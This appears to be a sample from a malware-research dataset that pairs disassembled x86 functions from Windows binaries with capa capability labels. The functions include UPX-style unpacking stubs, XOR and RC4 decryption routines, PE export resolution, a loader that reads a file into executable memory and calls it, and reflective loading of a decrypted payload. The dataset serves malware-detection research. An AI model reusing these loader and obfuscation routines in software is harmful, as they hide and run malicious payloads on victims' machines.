joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432cd0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x24000]
push edi
jmp 0x432cea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x432cf1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x432ce0
mov eax, 1
add ebx, ebx
jne 0x432d03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x432cf8
jne 0x432d14
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x432cf8
xor ecx, ecx
sub eax, 3
jb 0x432d28
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x432d9a
mov ebp, eax
add ebx, ebx
jne 0x432d33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x432d40
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x432d64
inc ecx
add ebx, ebx
jne 0x432d50
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x432d45
jne 0x432d61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x432d45
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x432d84
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x432d75
jmp 0x432ce6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x432d84
add edi, ecx
jmp 0x432ce6
pop esi
mov edi, esi
mov ecx, 0xbe6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x432da2
cmp byte [edi], 6
jne 0x432da2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x432da7
lea edi, [esi + 0x30000]
mov eax, dword [edi]
or eax, eax
je 0x432e16
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x41074]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x410b0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x432dd4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x410b8]
or eax, eax
je 0x432e10
mov dword [ebx], eax
add ebx, 4
jmp 0x432df1
call dword [esi + 0x410b4]
mov ebp, dword [esi + 0x410bc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x432e4a
sub esp, 0xffffff80
jmp 0x417c3f
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x4409026c
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x170f6736
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x91e530
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x68500d
lea edi, [esi - 0x28400d]
push edi
or ebp, 0xffffffff
jmp 0x91e552
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x91e559
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x91e548
mov eax, 1
add ebx, ebx
jne 0x91e56b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x91e560
jne 0x91e57c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x91e560
xor ecx, ecx
sub eax, 3
jb 0x91e590
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x91e602
mov ebp, eax
add ebx, ebx
jne 0x91e59b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x91e5a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x91e5cc
inc ecx
add ebx, ebx
jne 0x91e5b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x91e5ad
jne 0x91e5c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x91e5ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x91e5ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x91e5dd
jmp 0x91e54e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x91e5ec
add edi, ecx
jmp 0x91e54e
pop esi
mov edi, esi
mov ecx, 0x16bc
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x91e60a
cmp byte [edi], 0x11
jne 0x91e60a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x91e60f
lea edi, [esi + 0x51a000]
mov eax, dword [edi]
or eax, eax
je 0x91e67e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x526164]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5261bc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x91e63c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5261c4]
or eax, eax
je 0x91e678
mov dword [ebx], eax
add ebx, 4
jmp 0x91e659
call dword [esi + 0x5261c0]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x91e6af
cmp al, 0xef
ja 0x91e6a2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x91e684
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x91e691
mov ebp, dword [esi + 0x5261c8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x197]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x91e6e3
sub esp, 0xffffff80
jmp 0x40d67e
Function at 0x101ee0f6
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10207fe0], 0
mov byte [0x10207fe4], 0
mov dword [0x10207fd8], 0x17a8
mov dword [0x10207fdc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101ee165
mov eax, dword [0x10207fd8]
add eax, 0x20cc
mov dword [0x10207fd4], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov dword [0x10207fdc], 0
mov dword [ebp - 0x20], eax
jmp 0x101ee197
mov eax, dword [ebp - 0x1c]
mov dword [0x10207fd4], 0x1cfc
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10207fdc]
add eax, 1
mov dword [0x10207fdc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101ee165
jmp 0x101ee154
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x10207fe8], 0
mov dword [0x10207fd4], 0x1994
mov edx, dword [0x10207fe0]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x10207fe8], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x10207fe0], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x10207fe4], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov ecx, dword [0x10207fd8]
add ecx, 0xfffff0f5
mov dword [0x10207fd8], ecx
mov cl, byte [0x10207fe4]
mov edx, dword [0x10207fe0]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x10207fd4], 0x195b
mov edx, dword [0x10207fdc]
add edx, 1
mov dword [0x10207fdc], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x101ee197
jmp 0x101ee13d
Function at 0x101ee272
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x16c
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [0x10207fd4]
mov dword [0x10207fd4], 0xf98
add edx, 0xffffeba2
mov dword [0x10207fd8], edx
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, eax, 0x10c
mov edi, edx
add edi, esi
add edi, 0xbc
mov esi, dword [edi]
imul edi, eax, 0x10c
add edx, edi
add edx, 0x60
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x150
mov ecx, edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
je 0x101ee37e
jmp 0x101ee2b3
lea eax, [ebp - 0x12c]
mov dword [0x10207fd4], 0x158a
mov dword [ebp - 0x140], eax
call fcn.101ef136
mov dword [esp], eax
mov eax, dword [ebp - 0x140]
mov dword [esp + 4], eax
call fcn.101ede7b
mov ecx, eax
mov dword [0x10207ff4], eax
mov eax, esp
mov edx, dword [ebp - 0x13c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x14c], ecx
jmp 0x101ee3c5
xor eax, eax
mov dword [0x10207fd4], 0x40d
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
mov cl, byte [eax + 0x101f15a0]
mov dl, byte [eax + 0x101f1571]
sub dl, cl
mov byte [ebp + eax - 0x12c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x150], eax
je 0x101ee30e
jmp 0x101ee390
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x148]
lea edx, section..data
imul esi, eax, 0x10c
mov edi, edx
add edi, esi
add edi, 0xbc
mov esi, dword [edi]
imul edi, eax, 0x10c
mov ebx, edx
add ebx, edi
add ebx, 0x5c
mov edi, dword [ebx]
imul ebx, eax, 0x10c
add edx, ebx
add edx, 0x60
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x144]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x15c], edx
call fcn.101ee5e9
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
add eax, ecx
mov edx, dword [ebp - 0x154]
add edx, 1
cmp edx, 0x150
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], edx
jne 0x101ee3c5
lea eax, [0x101f157f]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x164], ecx
call fcn.101ee0f6
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
mov ecx, dword [ebp - 0x144]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x13c]
mov dword [esp + 0xc], edx
call fcn.101eec55
mov eax, dword [ebp - 0x144]
add eax, 0x8ceff
mov ecx, dword [ebp - 0x130]
mov dword [ecx], eax
mov dword [ecx + 4], 0x12f800
mov eax, dword [ebp - 0x144]
add eax, 0x42c4a
mov dword [ecx + 8], eax
add ecx, 0xc
mov dword [ebp - 0x168], ecx
xor eax, eax
mov ecx, dword [ebp - 0x168]
mov dword [ecx], 0x1ff0
mov dword [0x10207fd4], 0x2343
add esp, 0x16c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101ee668
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov ecx, dword [0x10207fd4]
add ecx, 0xfffff1da
mov dword [0x10207fd4], ecx
mov dword [ebp - 0x10], eax
call fcn.101edd2c
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x101ee6b6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x10207fd8], 0x1650
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x101ee7d5
jmp 0x101ee787
mov eax, dword [ebp - 0x34]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x30], edi
jmp 0x101ee7d5
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x3c], eax
mov al, byte [ebp - 0x3d]
cmp al, 0
setne cl
mov dl, byte [ebp - 0x3e]
and dl, cl
mov esi, dword [ebp - 0x3c]
cmp esi, 0x20
setb cl
and dl, cl
test dl, 1
mov dword [ebp - 0x44], esi
jne 0x101ee75c
jmp 0x101ee79b
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x4c]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov ecx, eax
mov edx, dword [ebp - 0x54]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x3d], bh
mov byte [ebp - 0x3e], cl
je 0x101ee79b
jmp 0x101ee712
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], eax
jmp 0x101ee742
mov al, byte [ebp - 0x3e]
test al, 1
jne 0x101ee6f4
jmp 0x101ee7a8
mov eax, dword [ebp - 0x34]
add eax, 2
mov dword [ebp - 0x58], eax
xor eax, eax
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov edx, dword [ebp - 0x2c]
cmp ecx, edx
mov esi, dword [ebp - 0x58]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x30], eax
jb 0x101ee742
mov eax, dword [ebp - 0x30]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101ee834
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 0x10]
add ecx, 0x3c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov dword [0x10207fd8], 0xec7
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], eax
jmp 0x101ee8b5
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x101ee924
jmp 0x101ee945
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x101ee875
jmp 0x101ee945
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x101ee90f
jmp 0x101ee945
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
je 0x101ee8e2
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x20], eax
jl 0x101ee8b5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
jne 0x101ee945
mov dword [0x10207fd8], 0x1ad2
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x101ee8a1
jmp 0x101ee945
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x101ee88d
jmp 0x101ee945
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff9
mov dword [ebp - 0x24], eax
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2], 0x6c
mov dword [ebp - 0x28], eax
je 0x101ee954
xor eax, eax
mov dword [0x10207fd8], 0x552
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
add esp, 0x28
pop ebp
ret
Function at 0x101ee95c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [0x10207fd8]
mov esi, edx
add esi, 0xfffff500
mov dword [0x10207fd4], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x101ee98d
mov eax, dword [ebp - 0x34]
mov cl, byte [eax + 0x101f15a0]
mov dl, byte [eax + 0x101f1571]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x34], eax
jne 0x101ee98d
lea eax, [ebp - 0x24]
mov ecx, dword [ebp - 0x30]
add ecx, 0xdf4
mov dword [0x10207fd4], ecx
mov dword [ebp - 0x38], eax
call fcn.101ef136
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.101ede7b
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x101eeab7
mov dword [0x10207fd4], 0x2474
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x10207fd4], 0x21bd
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.101edfe7
xor eax, eax
mov dword [0x10207fd8], 0xc2e
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x50], ecx
mov ecx, dword [0x10207fd8]
mov esi, ecx
add esi, 0xfffff42a
mov dword [0x10207fd8], esi
mov esi, dword [ebp - 0x44]
mov dword [edx + 0x4c], esi
mov dword [0x10207fd4], 0x13e6
cmp esi, 0
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], eax
je 0x101eeab7
mov eax, dword [ebp - 0x44]
add eax, 0x20ad
mov ecx, dword [ebp - 0x48]
add ecx, 0xffffdeeb
mov dword [0x10207fd4], ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x54
pop esi
pop ebp
ret
Function at 0x101eec55
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x10207fdc], 0
mov dword [0x10207fe0], 0
mov dword [0x10207fec], 0
mov edi, dword [0x10207fd8]
add edi, 0xffffe838
mov dword [0x10207fd4], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
xor eax, eax
mov dword [0x10207fd8], 0x206a
mov ecx, dword [ebp - 0x10]
cmp ecx, 0
mov edx, eax
mov esi, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
je 0x101eede1
jmp 0x101eecec
mov eax, dword [0x10207fdc]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x10207fe0]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add eax, 1
mov edi, edx
add edi, 1
mov dword [0x10207fd4], 0x13d3
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x10207fdc], edx
mov ebx, dword [ebp - 0x1c]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x10207fe0], edx
mov dword [0x10207fd4], 0xfffff4f3
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x10207fe4], cl
mov dword [0x10207fd8], 0x1200
mov ebx, dword [ebp - 0x1c]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x10207fe4]
mov edx, dword [0x10207fe0]
mov byte [ebx + edx], cl
mov dword [0x10207fd4], 0xa15
mov edx, dword [0x10207fdc]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x10207fe0]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x10207fec], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x34]
mov ch, byte [edx + esi]
mov byte [0x10207ff1], ch
mov byte [0x10207ff2], cl
xor ch, cl
mov byte [0x10207ff0], ch
mov edx, dword [0x10207fd8]
add edx, 0xfffffe57
mov dword [0x10207fd4], edx
mov edx, dword [ebp - 0x18]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x30], edi
jne 0x101eecd0
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101eef29
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
call fcn.10001073
cmp eax, 0
sete cl
mov byte [esp + 0x2f], cl
xor eax, eax
mov cl, byte [esp + 0x2f]
test cl, 1
mov dword [esp + 0x28], eax
jne 0x101eef81
jmp 0x101ef07d
mov eax, dword [esp + 0x24]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
cmp word [eax], 0x5a4d
mov dword [esp + 0x24], eax
je 0x101ef004
jmp 0x101eef5a
lea eax, [esp + 0x30]
lea ecx, [esp + 0x40]
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.101ee272
lea ecx, [0x101ee7e0]
mov edx, dword [esp + 0x30]
mov dword [esp + 0x50], edx
mov dword [esp + 0x64], 0x12f800
mov edx, dword [0x10207fc0]
mov dword [esp + 0x54], edx
mov edx, dword [0x10207fc4]
mov dword [esp + 0x80], edx
mov dword [0x10207fd8], 0x1c4a
mov edx, dword [0x10207fc8]
mov dword [esp + 0x58], edx
mov edx, dword [0x10207fcc]
mov dword [esp + 0x5c], edx
mov edx, dword [0x10207fd0]
mov dword [esp + 0x88], edx
mov dword [0x10207fd4], 0x2267
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], ecx
jmp 0x101eef6c
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
cmp dword [eax], 0x4550
jne 0x101eef5a
mov eax, dword [esp + 0x24]
mov dword [esp + 0x68], eax
mov ecx, dword [esp + 0x14]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x44], edx
call fcn.101ee834
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x101ef075
lea eax, [esp + 0x40]
mov ecx, dword [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101ee95c
mov ecx, esp
lea edx, [esp + 0x40]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
mov esp, ebp
pop ebp
ret